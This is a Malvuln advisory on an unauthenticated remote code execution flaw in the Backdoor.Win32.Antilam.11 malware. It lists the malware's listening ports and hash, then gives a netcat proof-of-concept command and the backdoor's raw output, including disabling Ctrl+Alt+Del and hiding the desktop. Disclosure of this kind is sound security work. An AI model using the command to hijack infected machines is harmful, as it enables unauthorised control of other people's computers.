Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/9adffcc98cd658a7f9c5419480013f72_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Antilam.11 Vulnerability: Unauthenticated Remote Code Execution Description: The Win32.Antilam.11 malware aka "Backdoor.Win32.Latinus.b" (MVID-2021-0029), listens on TCP ports 11831, 29559. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. Type: PE32 MD5: 9adffcc98cd658a7f9c5419480013f72 Vuln ID: MVID-2021-0324 Dropped files: msHtml.exe Disclosure: 08/30/2021 Exploit/PoC: nc64.exe x.x.x.x 11831 001 001Windows folder: C:\WINDOWS System folder: C:\WINDOWS\system32 Temp folder: C:\Users\Victim\AppData\Local\Temp\ Windows version: Windows NT 6.2 9200 Minutes in windows: 06 Computer name: DESKTOP-2C3IQHO User name: Victim Windows language: English (United States) Resolution: 1479x821 NumLock state: Off CapsLock state: Off ScrollLock state: Off Play sounds: Yes Free disk space: 1,014,693,888 Local host: DESKTOP-2C3IQHO Clients connected: 2002 000All icons in desktop are hidden now...003 000Start button is hidden now...004 000Taskbar is hidden now...005 000Task icons are hidden now...006 000Task clock is hidden now...007 000Monitor is off now...008 000Ctrl+Alt+Del disabled...009 000ScrollLock is off now...010 000CapsLock is off now...011 000NumLock is off now...012 000CD-ROM was been closed...013 000Can't change remote time...014 000Can't change remote date...015 01501:42 AM|8/19/2021016 000Mouse buttons restored...017 000Crazy mouse is disabled...018 000Mouse was been unlocked...019 000Double-click speed was been changed...020 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).